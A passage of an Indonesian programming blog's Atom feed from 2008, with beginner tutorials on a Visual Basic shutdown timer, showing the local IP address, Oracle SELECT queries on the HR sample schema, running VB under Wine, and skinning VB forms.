LookupPrivilegeValue Lib "advapi32.dll" Alias "LookupPrivilegeValueA" ( _&lt;br /&gt;ByVal lpSystemName As String, _&lt;br /&gt;ByVal lpName As String, _&lt;br /&gt;ByRef lpLuid As LUID) As Long 'change lpLuid from LARGE_INTEGER to LUID&lt;br /&gt;Public Declare Function AdjustTokenPrivileges Lib "advapi32.dll" ( _&lt;br /&gt;ByVal TokenHandle As Long, _&lt;br /&gt;ByVal DisableAllPrivileges As Long, _&lt;br /&gt;ByRef NewState As TOKEN_PRIVILEGES, _&lt;br /&gt;ByVal BufferLength As Long, _&lt;br /&gt;ByRef PreviousState As TOKEN_PRIVILEGES, _&lt;br /&gt;ByRef ReturnLength As Long) As Long&lt;br /&gt;Public Declare Function OpenProcessToken Lib "advapi32.dll" ( _&lt;br /&gt;ByVal ProcessHandle As Long, _&lt;br /&gt;ByVal DesiredAccess As Long, _&lt;br /&gt;ByRef TokenHandle As Long) As Long&lt;br /&gt;&lt;br /&gt;'COMCTL32&lt;br /&gt;Public Declare Sub InitCommonControls Lib "comctl32.dll" ()&lt;br /&gt;&lt;br /&gt;'KERNEL32&lt;br /&gt;Public Declare Function GetVersionEx Lib "kernel32.dll" Alias "GetVersionExA" ( _&lt;br /&gt;ByRef lpVersionInformation As OSVERSIONINFO) As Long&lt;br /&gt;Public Declare Function GetComputerName Lib "kernel32.dll" Alias "GetComputerNameA" ( _&lt;br /&gt;ByVal lpBuffer As String, _&lt;br /&gt;ByRef nSize As Long) As Long&lt;br /&gt;Public Declare Function GetCurrentProcess Lib "kernel32.dll" () As Long&lt;br /&gt;&lt;br /&gt;'USER32&lt;br /&gt;Public Declare Function ExitWindowsEx Lib "user32.dll" ( _&lt;br /&gt;ByVal uFlags As Long, _&lt;br /&gt;ByVal dwReserved As Long) As Long&lt;br /&gt;&lt;br /&gt;Public Declare Function GetPrivateProfileString Lib "kernel32.dll" Alias "GetPrivateProfileStringA" ( _&lt;br /&gt;ByVal lpApplicationName As String, _&lt;br /&gt;ByVal lpKeyName As String, _&lt;br /&gt;ByVal lpDefault As String, _&lt;br /&gt;ByVal lpReturnedString As String, _&lt;br /&gt;ByVal nSize As Long, _&lt;br /&gt;ByVal lpFileName As String) As Long&lt;br /&gt;&lt;br /&gt;Public Declare Function SetWindowPos Lib "user32.dll" ( _&lt;br /&gt;ByVal hwnd As Long, _&lt;br /&gt;ByVal hWndInsertAfter As Long, _&lt;br /&gt;ByVal x As Long, _&lt;br /&gt;ByVal y As Long, _&lt;br /&gt;ByVal cx As Long, _&lt;br /&gt;ByVal cy As Long, _&lt;br /&gt;ByVal wFlags As Long) As Long&lt;br /&gt;&lt;br /&gt;Public Declare Function WritePrivateProfileString Lib "kernel32.dll" Alias "WritePrivateProfileStringA" ( _&lt;br /&gt;ByVal lpApplicationName As String, _&lt;br /&gt;ByVal lpKeyName As Any, _&lt;br /&gt;ByVal lpString As Any, _&lt;br /&gt;ByVal lpFileName As String) As Long&lt;br /&gt;&lt;br /&gt;Public Declare Function Shell_NotifyIcon Lib "shell32.dll" Alias "Shell_NotifyIconA" (ByVal dwMessage As Long, lpData As NOTIFYICONDATA) As Long&lt;br /&gt;Public Declare Function SetForegroundWindow Lib "user32" (ByVal hwnd As Long) As Long&lt;br /&gt;&lt;br /&gt;Public OSVerInfo As OSVERSIONINFO&lt;br /&gt;Public nid_Tray As NOTIFYICONDATA&lt;br /&gt;Public frmCancelUnload As Boolean&lt;br /&gt;Public strIniPath As String&lt;br /&gt;Public strShutdown As String&lt;br /&gt;&lt;br /&gt;Public Sub Main()&lt;br /&gt;Dim strBuffLeft As String&lt;br /&gt;Dim strBuffTop As String&lt;br /&gt;&lt;br /&gt;Dim lngFlags As Long&lt;br /&gt;Dim blnTrig As Boolean&lt;br /&gt;&lt;br /&gt;If App.PrevInstance = True Then End&lt;br /&gt;Call InitCommonControls&lt;br /&gt;&lt;br /&gt;If Command &lt;&gt; "" Then&lt;br /&gt;If InStr(1, Command, "shutdown") &lt;&gt; 0 Then&lt;br /&gt;lngFlags = EWX_SHUTDOWN&lt;br /&gt;blnTrig = True&lt;br /&gt;ElseIf InStr(1, Command, "poweroff") &lt;&gt; 0 Then&lt;br /&gt;lngFlags = EWX_POWEROFF&lt;br /&gt;blnTrig = True&lt;br /&gt;ElseIf InStr(1, Command, "reboot") &lt;&gt; 0 Then&lt;br /&gt;lngFlags = EWX_REBOOT&lt;br /&gt;blnTrig = True&lt;br /&gt;ElseIf InStr(1, Command, "logoff") &lt;&gt; 0 Then&lt;br /&gt;lngFlags = EWX_LOGOFF&lt;br /&gt;blnTrig = True&lt;br /&gt;End If&lt;br /&gt;&lt;br /&gt;If InStr(1, Command, "force") &lt;&gt; 0 Then&lt;br /&gt;lngFlags = lngFlags Or EWX_FORCE&lt;br /&gt;ElseIf InStr(1, Command, "forceifhung") &lt;&gt; 0 Then&lt;br /&gt;lngFlags = lngFlags Or EWX_FORCEIFHUNG&lt;br /&gt;End If&lt;br /&gt;&lt;br /&gt;If blnTrig = True Then&lt;br /&gt;If IsWinNT = True Then Call EnableNTShutdown&lt;br /&gt;Call ExitWindowsEx(lngFlags, 0)&lt;br /&gt;End&lt;br /&gt;End If&lt;br /&gt;End If&lt;br /&gt;&lt;br /&gt;Load frmMain&lt;br /&gt;&lt;br /&gt;With nid_Tray&lt;br /&gt;.cbSize = Len(nid_Tray)&lt;br /&gt;.hIcon = frmMain.Icon&lt;br /&gt;.hwnd = frmMain.hwnd&lt;br /&gt;.szTip = frmMain.Caption &amp;amp; vbNullChar&lt;br /&gt;.uCallbackMessage = WM_MOUSEMOVE&lt;br /&gt;.uFlags = NIF_ICON Or NIF_MESSAGE Or NIF_TIP&lt;br /&gt;.uID = vbNull&lt;br /&gt;End With&lt;br /&gt;&lt;br /&gt;Call Shell_NotifyIcon(NIM_ADD, nid_Tray)&lt;br /&gt;&lt;br /&gt;frmCancelUnload = True 'cancel unload by default&lt;br /&gt;&lt;br /&gt;strBuffLeft = String(255, vbNullChar)&lt;br /&gt;strBuffTop = String(255, vbNullChar)&lt;br /&gt;&lt;br /&gt;strIniPath = App.Path &amp;amp; "\" &amp;amp; App.Title &amp;amp; ".ini"&lt;br /&gt;&lt;br /&gt;Call GetPrivateProfileString("Position", "Left", 0, strBuffLeft, 255, strIniPath)&lt;br /&gt;Call GetPrivateProfileString("Position", "Top", 0, strBuffTop, 255, strIniPath)&lt;br /&gt;&lt;br /&gt;frmMain.Left = strBuffLeft&lt;br /&gt;frmMain.Top = strBuffTop&lt;br /&gt;&lt;br /&gt;Call SetWindowPos(frmMain.hwnd, HWND_TOPMOST, 0, 0, 0, 0, SWP_NOMOVE Or SWP_NOSIZE)&lt;br /&gt;&lt;br /&gt;frmMain.Show&lt;br /&gt;End Sub&lt;br /&gt;&lt;br /&gt;Public Sub WriteINI(strSection As String, strKey As String, strValue As String, strPath As String)&lt;br /&gt;Call WritePrivateProfileString(strSection, strKey, strValue, strPath)&lt;br /&gt;End Sub&lt;br /&gt;&lt;br /&gt;Public Sub SavePos(frmSave As Form, strPath As String)&lt;br /&gt;If frmSave.WindowState = vbNormal Then&lt;br /&gt;Call WriteINI("Position", "Left", frmSave.Left, strPath)&lt;br /&gt;Call WriteINI("Position", "Top", frmSave.Top, strPath)&lt;br /&gt;End If&lt;br /&gt;End Sub&lt;br /&gt;&lt;br /&gt;Public Function IsWinNT() As Boolean&lt;br /&gt;OSVerInfo.dwOSVersionInfoSize = Len(OSVerInfo)&lt;br /&gt;Call GetVersionEx(OSVerInfo)&lt;br /&gt;If OSVerInfo.dwPlatformId = VER_PLATFORM_WIN32_NT Then IsWinNT = True&lt;br /&gt;End Function&lt;br /&gt;&lt;br /&gt;Public Sub EnableNTShutdown()&lt;br /&gt;Dim TknPriv_Old As TOKEN_PRIVILEGES&lt;br /&gt;Dim TknPriv_New As TOKEN_PRIVILEGES&lt;br /&gt;Dim LUID_NTShutdown As LUID&lt;br /&gt;Dim CurProc As Long&lt;br /&gt;Dim TknHnd As Long&lt;br /&gt;&lt;br /&gt;CurProc = GetCurrentProcess&lt;br /&gt;Call OpenProcessToken(CurProc, TOKEN_ADJUST_PRIVILEGES + TOKEN_QUERY, TknHnd)&lt;br /&gt;Call LookupPrivilegeValue(CompName, "SeShutdownPrivilege", LUID_NTShutdown)&lt;br /&gt;&lt;br /&gt;TknPriv_Old.PrivilegeCount = 1&lt;br /&gt;TknPriv_Old.Privileges(0).Attributes = SE_PRIVILEGE_ENABLED&lt;br /&gt;TknPriv_Old.Privileges(0).pLuid = LUID_NTShutdown&lt;br /&gt;&lt;br /&gt;Call AdjustTokenPrivileges(TknHnd, False, TknPriv_Old, 4 + (12 * TknPriv_Old.PrivilegeCount), TknPriv_New, 4 + (12 * TknPriv_New.PrivilegeCount))&lt;br /&gt;End Sub&lt;br /&gt;&lt;br /&gt;Public Function CompName() As String&lt;br /&gt;Dim lngInStr As Long&lt;br /&gt;&lt;br /&gt;CompName = String(MAX_COMPUTERNAME, vbNullChar)&lt;br /&gt;Call GetComputerName(CompName, MAX_COMPUTERNAME + 1)&lt;br /&gt;&lt;br /&gt;lngInStr = InStr(1, CompName, vbNullChar) 'error protection&lt;br /&gt;&lt;br /&gt;If lngInStr &lt;&gt; 0 Then CompName = Mid(CompName, 1, lngInStr - 1)&lt;br /&gt;End Function&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7872901297791207431-3223582505428424975?l=vbthok.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://vbthok.blogspot.com/feeds/3223582505428424975/comments/default' title='Poskan Komentar'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=7872901297791207431&amp;postID=3223582505428424975' title='2 Komentar'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7872901297791207431/posts/default/3223582505428424975'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7872901297791207431/posts/default/3223582505428424975'/><link rel='alternate' type='text/html' href='http://vbthok.blogspot.com/2008/10/shutdown-timer-menggunakan-vb.html' title='Shutdown Timer menggunakan VB'/><author><name>ToMeE</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7872901297791207431.post-5026435166996731960</id><published>2008-10-30T19:21:00.003+07:00</published><updated>2008-10-30T20:28:36.371+07:00</updated><title type='text'>Melihat IP Address dengan VB</title><content type='html'>&lt;p&gt;Kali ini kita akan membuat program yang bisa menampilkan ip address yang sedang aktif dikomputer saat ini.caranya kamu tinggal aktifkan komponen winsock seperti gambar dibawah ini.&lt;br /&gt;&lt;/p&gt;          &lt;p&gt;&lt;img src="http://ebonez.info/tutorialimages/vlocalip/vlip3.jpg" alt="Step 5" height="411" width="455" /&gt; &lt;/p&gt;          &lt;p&gt;Setelah diaktifkan maka komponen winsock akan tampil dalam menu toolbox komponen seperti pada gambar dibawah ini &lt;/p&gt;          &lt;p&gt;&lt;img src="http://ebonez.info/tutorialimages/vlocalip/vlip4.jpg" alt="Step 6" height="296" width="93" /&gt; &lt;/p&gt;          &lt;p&gt;&lt;img src="http://ebonez.info/tutorialimages/vlocalip/vlip5.jpg" alt="" height="253" width="332" /&gt;&lt;/p&gt;setelah itu buat form baru dan kemudian masukkan komponen tersebut kedalam form yang sudah kamu buat.kemudian masukkan script dibawah ini&lt;p&gt;&lt;code&gt; &lt;span class="style5"&gt;Private Sub&lt;/span&gt; Form_Load()&lt;br /&gt; MsgBox Winsock1.LocalIP&lt;br /&gt; &lt;span class="style5"&gt;End&lt;br /&gt;End Sub&lt;/span&gt;  &lt;/code&gt;&lt;/p&gt;        &lt;p&gt;Nah, mudah bukan?? silakan kamu kembangkan sesuai dengan program yang kamu buat dan semoga bermanfaat..&lt;br /&gt;&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7872901297791207431-5026435166996731960?l=vbthok.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://vbthok.blogspot.com/feeds/5026435166996731960/comments/default' title='Poskan Komentar'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=7872901297791207431&amp;postID=5026435166996731960' title='1 Komentar'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7872901297791207431/posts/default/5026435166996731960'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7872901297791207431/posts/default/5026435166996731960'/><link rel='alternate' type='text/html' href='http://vbthok.blogspot.com/2008/10/melihat-ip-address-dengan-vb.html' title='Melihat IP Address dengan VB'/><author><name>ToMeE</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7872901297791207431.post-3881346638140733489</id><published>2008-10-30T19:14:00.006+07:00</published><updated>2008-11-22T11:10:09.656+07:00</updated><title type='text'>Latihan Basic Select Statement di ORACLE</title><content type='html'>Pada latihan ini digunakan user HR. User HR sudah atomatis terbentuk jika ketika kita membuat database dengan tools Database Configuration Assistant option Schema Example di check&lt;br /&gt;&lt;br /&gt;* membuka lock dan mengganti password user HR&lt;br /&gt;SQL&gt; CONNECT / AS SYSDBA&lt;br /&gt;SQL&gt; ALTER USER HR IDENTIFIED BY HR ACCOUNT UNLOCK&lt;br /&gt;&lt;br /&gt;*Melihat tabel-tabel yang dimiliki user HR&lt;br /&gt;SQL&gt; DESC EMPLOYEES;&lt;br /&gt;Name Null? Type&lt;br /&gt;----------------------------------------- -------- ------------&lt;br /&gt;EMPLOYEE_ID NOT NULL NUMBER(6)&lt;br /&gt;FIRST_NAME VARCHAR2(20)&lt;br /&gt;LAST_NAME NOT NULL VARCHAR2(25)&lt;br /&gt;EMAIL NOT NULL VARCHAR2(25)&lt;br /&gt;PHONE_NUMBER VARCHAR2(20)&lt;br /&gt;HIRE_DATE NOT NULL DATE&lt;br /&gt;JOB_ID NOT NULL VARCHAR2(10)&lt;br /&gt;SALARY NUMBER(8,2)&lt;br /&gt;COMMISSION_PCT NUMBER(2,2)&lt;br /&gt;MANAGER_ID NUMBER(6)&lt;br /&gt;DEPARTMENT_ID NUMBER(4)&lt;br /&gt;&lt;br /&gt;Syntax perintah SELECT:&lt;br /&gt;SELECT nama_kolom, nama_kolom, nama_kolom…&lt;br /&gt;FROM nama_tabel;&lt;br /&gt;&lt;br /&gt;Misalkan mau menampilkan data kolom EMPLOYEE_ID, LAST_NAME dan SALARY dari tabel EMPLOYEES.&lt;br /&gt;SQL&gt; SET PAUSE ON;&lt;br /&gt;SQL&gt; SELECT employee_id,&lt;br /&gt;2 last_name,&lt;br /&gt;3 salary&lt;br /&gt;4 FROM employees;&lt;br /&gt;&lt;span class="fullpost"&gt;&lt;br /&gt;Menampilkan semua kolom yang ada di tabel EMPLOYEES&lt;br /&gt;SQL&gt; SELECT * FROM EMPLOYEES;&lt;br /&gt;Jika anda menggunakan SQL*Plus hasilnya pasti berantakan, itu dikarenakan secara default lebar layar SQL*Plus adalah 80 karakter. Agar layar SQL*Plus bisa menampilkan lebar lebih dari 80 karakter, misalnya sampai 200 karakter lakukan setting LINESIZE seperti ini.&lt;br /&gt;SQL&gt; SET LINESIZE 200&lt;br /&gt;Penanganan nilai NULL&lt;br /&gt;Null TIDAK SAMA DENGAN 0. Nilai NULL adalah nilai yang belum jelas atau tidak terukur, sehingga jika nilai NULL itu dilibatkan dalam suatu ekspresi akan selalu menghasilkan NULL.&lt;br /&gt;SQL&gt; SELECT EMPLOYEE_ID,&lt;br /&gt;2 LAST_NAME,&lt;br /&gt;3 SALARY,&lt;br /&gt;4 COMMISSION_PCT,&lt;br /&gt;5 SALARY + (SALARY * COMMISSION_PCT)&lt;br /&gt;6 FROM EMPLOYEES;&lt;br /&gt;EMPLOYEE_ID LAST_NAME SALARY COMMISSION_PCT SALARY+(SALARY*COMMISSION_PCT)&lt;br /&gt;----------- ------------------------- ---------- -------------- ------------------------------&lt;br /&gt;137 Ladwig 7200&lt;br /&gt;138 Stiles 6400&lt;br /&gt;139 Seo 5400&lt;br /&gt;140 Patel 5000&lt;br /&gt;141 Rajs 7000&lt;br /&gt;142 Davies 6200&lt;br /&gt;143 Matos 5200&lt;br /&gt;144 Vargas 5000&lt;br /&gt;145 Russell 28000 ,4 39200&lt;br /&gt;146 Partners 27000 ,3 35100&lt;br /&gt;147 Errazuriz 24000 ,3 31200&lt;br /&gt;148 Cambrault 22000 ,3 28600&lt;br /&gt;149 Zlotkey 21000 ,2 25200&lt;br /&gt;150 Tucker 20000 ,3 26000&lt;br /&gt;151 Bernstein 19000 ,25 23750&lt;br /&gt;Perhatikan kolom SALARY+(SALARY*COMMISSION_PCT), untuk employees yang tidak punya komisi (nilai COMMISSION_PCT=NULL) nilainya juga NULL (kosong). Untuk menangani kasus seperti ini, digunakan function NVL. Function ini berfungsi untuk memberi nilai alias pada kolom yang bernilai NULL dalam suatu ekspresi.&lt;br /&gt;Misal diinginkan, dalam penghitungan total gaji dan komisi jika ada employee yang commission_pct bernilai NULL maka commission_pct diberikan nilai 0 sehingga totalnya adalah nilai SALARY saja.&lt;br /&gt;&lt;br /&gt;SQL&gt; SELECT EMPLOYEE_ID,&lt;br /&gt;2 LAST_NAME,&lt;br /&gt;3 SALARY,&lt;br /&gt;4 COMMISSION_PCT,&lt;br /&gt;5 SALARY + (SALARY * NVL(COMMISSION_PCT,0))&lt;br /&gt;6 FROM EMPLOYEES;&lt;br /&gt;EMPLOYEE_ID LAST_NAME SALARY COMMISSION_PCT SALARY+(SALARY*NVL(COMMISSION_PCT,0))&lt;br /&gt;----------- --------------- ---------- -------------- -------------------------------------&lt;br /&gt;137 Ladwig 7200 7200&lt;br /&gt;138 Stiles 6400 6400&lt;br /&gt;139 Seo 5400 5400&lt;br /&gt;140 Patel 5000 5000&lt;br /&gt;141 Rajs 7000 7000&lt;br /&gt;142 Davies 6200 6200&lt;br /&gt;143 Matos 5200 5200&lt;br /&gt;144 Vargas 5000 5000&lt;br /&gt;145 Russell 28000 ,4 39200&lt;br /&gt;146 Partners 27000 ,3 35100&lt;br /&gt;147 Errazuriz 24000 ,3 31200&lt;br /&gt;148 Cambrault 22000 ,3 28600&lt;br /&gt;149 Zlotkey 21000 ,2 25200&lt;br /&gt;150 Tucker 20000 ,3 26000&lt;br /&gt;151 Bernstein 19000 ,25 23750&lt;br /&gt;&lt;br /&gt;Alias Untuk Judul Kolom&lt;br /&gt;Kolom alias digunakan untuk menggantikan judul kolom&lt;br /&gt;Biasa digunakan untuk kolom-kolom yang ada ekspresinya&lt;br /&gt;Ditulis sesudah kolom yang akan diganti judul kolomnya, bisa juga digunakan keyword AS antara nama kolom dengan kolom alias&lt;br /&gt;Jika kolom alias terdapat karakter space atau karakter khusus lainnya maka apit kolom alias dengan tanda kutip ganda&lt;br /&gt;SQL&gt; SELECT EMPLOYEE_ID,&lt;br /&gt;2 LAST_NAME,&lt;br /&gt;3 SALARY,&lt;br /&gt;4 COMMISSION_PCT,&lt;br /&gt;5 SALARY + (SALARY * NVL(COMMISSION_PCT,0)) AS Total_Salary&lt;br /&gt;6 FROM EMPLOYEES;&lt;br /&gt;SQL&gt; SELECT EMPLOYEE_ID,&lt;br /&gt;2 LAST_NAME,&lt;br /&gt;3 SALARY,&lt;br /&gt;4 COMMISSION_PCT,&lt;br /&gt;5 SALARY + (SALARY * NVL(COMMISSION_PCT,0)) AS “Total Salary”&lt;br /&gt;6 FROM EMPLOYEES;&lt;br /&gt;&lt;br /&gt;CONCATINATION&lt;br /&gt;untuk menyambung/menggabungkan dua kolom menjadi satu kolom tampilan.&lt;br /&gt;dengan karakter string&lt;br /&gt;CONTOH.&lt;br /&gt;Kolom dengan kolom&lt;br /&gt;SQL&gt; SELECT LAST_NAME||FIRST_NAME AS "Employee"&lt;br /&gt;2 FROM EMPLOYEES;&lt;br /&gt;Employee&lt;br /&gt;--------------------------------&lt;br /&gt;KingSteven&lt;br /&gt;KochharNeena&lt;br /&gt;HunoldAlexander&lt;br /&gt;SQL&gt; SELECT LAST_NAME||' '||FIRST_NAME AS "Employee"&lt;br /&gt;2 FROM EMPLOYEES;&lt;br /&gt;-- Ada spasi antara Kolom&lt;br /&gt;Employee&lt;br /&gt;--------------------------------&lt;br /&gt;King Steven&lt;br /&gt;Kochhar Neena&lt;br /&gt;Hunold Alexander&lt;br /&gt;&lt;br /&gt;literal character string&lt;br /&gt;-- Memberi keterangan/string antara kolom&lt;br /&gt;SQL&gt; SELECT LAST_NAME||'ada di Department'||department_id&lt;br /&gt;2 AS "Pegawai dan Department"&lt;br /&gt;3 FROM EMPLOYEES;&lt;br /&gt;SQL&gt; SELECT LAST_NAME||' '||'ada di Department'||' '||department_id&lt;br /&gt;2 AS "Pegawai dan Department"&lt;br /&gt;3 FROM EMPLOYEES;&lt;br /&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7872901297791207431-3881346638140733489?l=vbthok.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://vbthok.blogspot.com/feeds/3881346638140733489/comments/default' title='Poskan Komentar'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=7872901297791207431&amp;postID=3881346638140733489' title='0 Komentar'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7872901297791207431/posts/default/3881346638140733489'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7872901297791207431/posts/default/3881346638140733489'/><link rel='alternate' type='text/html' href='http://vbthok.blogspot.com/2008/10/latihan-basic-select-statement-di.html' title='Latihan Basic Select Statement di ORACLE'/><author><name>ToMeE</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7872901297791207431.post-5171235699468210629</id><published>2008-10-30T14:22:00.006+07:00</published><updated>2008-10-30T15:09:30.592+07:00</updated><title type='text'>Installasi VB di LINUX</title><content type='html'>Jika kamu ingin menjalankan program visual basic di linux kamu harus menginstall aplikasi emulator dulu di linux tersebut, sebagai contoh saya menggunakan emulator WINE.untuk menginstal wine anda bisa menggunakan sypnatic yang ada di linux tersebut.&lt;br /&gt;Nah setelah itu perhatikan langkah berikut ini&lt;br /&gt;1. Copy file riched20.dll, riched32.dll, urlmon.dll, oleaut32.dll, and hhctrl.ocx dari windows xp yang ada di direktory c:\windows\system32 kemudian paste di direktory wine yang ada di linux.&lt;br /&gt;&lt;br /&gt;2. Masuk ke menu konfigrasi WINE yang ada dilinux tersebut, kemudian pilih tab libraries, kemudian add files berikut kedalam native:&lt;br /&gt;&lt;br /&gt;hhctrl.ocx&lt;br /&gt;&lt;br /&gt;oleaut32&lt;br /&gt;&lt;br /&gt;riched20&lt;br /&gt;&lt;br /&gt;riched32&lt;br /&gt;&lt;br /&gt;urlmon&lt;br /&gt;&lt;br /&gt;ole32&lt;br /&gt;&lt;br /&gt;rpcrt4&lt;br /&gt;&lt;br /&gt;3. Set Windows emulation menjadi Windows ME&lt;br /&gt;&lt;br /&gt;setelah setting konfigurasi WINE selesai masuk ke dos prompt di linux tersebut kemudian masuk ke direktory dimana installer VB tersimpan setelah itu ketik kan WINE spasi SETUP.EXE dan tekan enter.&lt;br /&gt;Jalankan Installasi sperti biasa,setelah selesai masuk ke menu konfigurasi WINE dan rubah windows emulation menjadi windows XP.&lt;br /&gt;Selamat mencoba dan menjalankan aplikasi VB di linux...&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7872901297791207431-5171235699468210629?l=vbthok.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://vbthok.blogspot.com/feeds/5171235699468210629/comments/default' title='Poskan Komentar'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=7872901297791207431&amp;postID=5171235699468210629' title='0 Komentar'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7872901297791207431/posts/default/5171235699468210629'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7872901297791207431/posts/default/5171235699468210629'/><link rel='alternate' type='text/html' href='http://vbthok.blogspot.com/2008/10/installasi-vb-di-linux.html' title='Installasi VB di LINUX'/><author><name>ToMeE</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7872901297791207431.post-7588251976405226456</id><published>2008-10-29T11:12:00.011+07:00</published><updated>2009-05-12T06:32:28.840+07:00</updated><title type='text'>Membuat tampilan VB tampil kereeeen</title><content type='html'>Terkadang tampilan program yang kita buat terkesan biasa ato standart2 aja meskipun isi dari program kita terbilang program besar,nah untuk melengkapi program yang kita buat bisa tampil lebih kereen dan pastinya bisa menambah daya jual program kita menjadi lebih tinggi,alangkah baiknya kita beri themes ato skins.&lt;br /&gt;berikut tampilan form yang sudah diberi skins..&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://i103.photobucket.com/albums/m144/depris/gb1.jpg"&gt;&lt;img style="margin: 0pt 10px 10px 0pt; float: left; cursor: pointer; width: 320px; height: 320px;" src="http://i103.photobucket.com/albums/m144/depris/gb1.jpg" alt="" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://i103.photobucket.com/albums/m144/depris/gb2.jpg"&gt;&lt;img style="margin: 0pt 10px 10px 0pt; float: left; cursor: pointer; width: 320px; height: 320px;" src="http://i103.photobucket.com/albums/m144/depris/gb2.jpg" alt="" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;span class="fullpost"&gt;&lt;br /&gt;Gimana?? keren kan?? untuk bisa membuat skin seperti ini silakan anda download programnya &lt;a href="http://www.ziddu.com/download/4703591/actskn43.zip.html"&gt;disini&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Untuk menggunakan skin tersebut kamu harus mengaktifkan act43.ocx dulu pada program VB nah setelah diaktifkan tinggal anda buat form dan masukkan code script sperti dibawah ini&lt;br /&gt;&lt;br /&gt;Option Explicit&lt;br /&gt;Private Declare Function SendMessage Lib "user32" Alias "SendMessageA" (ByVal hwnd As Long, ByVal wMsg As Long, ByVal wParam As Long, ByVal lParam As Any) As Long&lt;br /&gt;Const EM_UNDO = &amp;amp;HC7&lt;br /&gt;Private Declare Function OSWinHelp% Lib "user32" Alias "WinHelpA" (ByVal hwnd&amp;amp;, ByVal HelpFile$, ByVal wCommand%, dwData As Any)&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Private Declare Function GetOpenFileName Lib "comdlg32.dll" Alias "GetOpenFileNameA" (pOpenfilename As OpenFilename) As Long&lt;br /&gt;Private Type OpenFilename&lt;br /&gt; lStructSize As Long&lt;br /&gt; hwndOwner As Long&lt;br /&gt; hInstance As Long&lt;br /&gt; lpstrFilter As String&lt;br /&gt; lpstrCustomFilter As String&lt;br /&gt; nMaxCustFilter As Long&lt;br /&gt; iFilterIndex As Long&lt;br /&gt; lpstrFile As String&lt;br /&gt; nMaxFile As Long&lt;br /&gt; lpstrFileTitle As String&lt;br /&gt; nMaxFileTitle As Long&lt;br /&gt; lpstrInitialDir As String&lt;br /&gt; lpstrTitle As String&lt;br /&gt; Flags As Long&lt;br /&gt; nFileOffset As Integer&lt;br /&gt; nFileExtension As Integer&lt;br /&gt; lpstrDefExt As String&lt;br /&gt; lCustData As Long&lt;br /&gt; lpfnHook As Long&lt;br /&gt; lpTemplateName As String&lt;br /&gt;End Type&lt;br /&gt;Private Function ShowFileDialog() As String&lt;br /&gt; Dim ofn As OpenFilename&lt;br /&gt; ofn.lStructSize = Len(ofn)&lt;br /&gt; ofn.hwndOwner = hwnd&lt;br /&gt; ofn.lpstrFilter = "Skin files (*.skn)" &amp;amp; Chr$(0) &amp;amp; "*.skn" &amp;amp; Chr$(0) &amp;amp; Chr(0) &amp;amp; Chr(0)&lt;br /&gt; ofn.lpstrFile = String(256, 0)&lt;br /&gt; ofn.nMaxFile = 255&lt;br /&gt; ofn.lpstrTitle = "Open Skin"&lt;br /&gt; ofn.Flags = &amp;amp;H800000 + &amp;amp;H1000 + &amp;amp;H8 + &amp;amp;H4&lt;br /&gt; ofn.lpstrDefExt = "skn" + Chr(0)&lt;br /&gt; GetOpenFileName ofn&lt;br /&gt; If Mid(ofn.lpstrFile, 1, 1) &lt;&gt; Chr(0) Then ShowFileDialog = ofn.lpstrFile&lt;br /&gt;End Function&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Private Sub Form_Load()&lt;br /&gt; Skin1.ApplySkin Me.hwnd&lt;br /&gt; Me.Left = GetSetting(App.Title, "Settings", "MainLeft", 1000)&lt;br /&gt; Me.Top = GetSetting(App.Title, "Settings", "MainTop", 1000)&lt;br /&gt; Me.Width = GetSetting(App.Title, "Settings", "MainWidth", 6500)&lt;br /&gt; Me.Height = GetSetting(App.Title, "Settings", "MainHeight", 6500)&lt;br 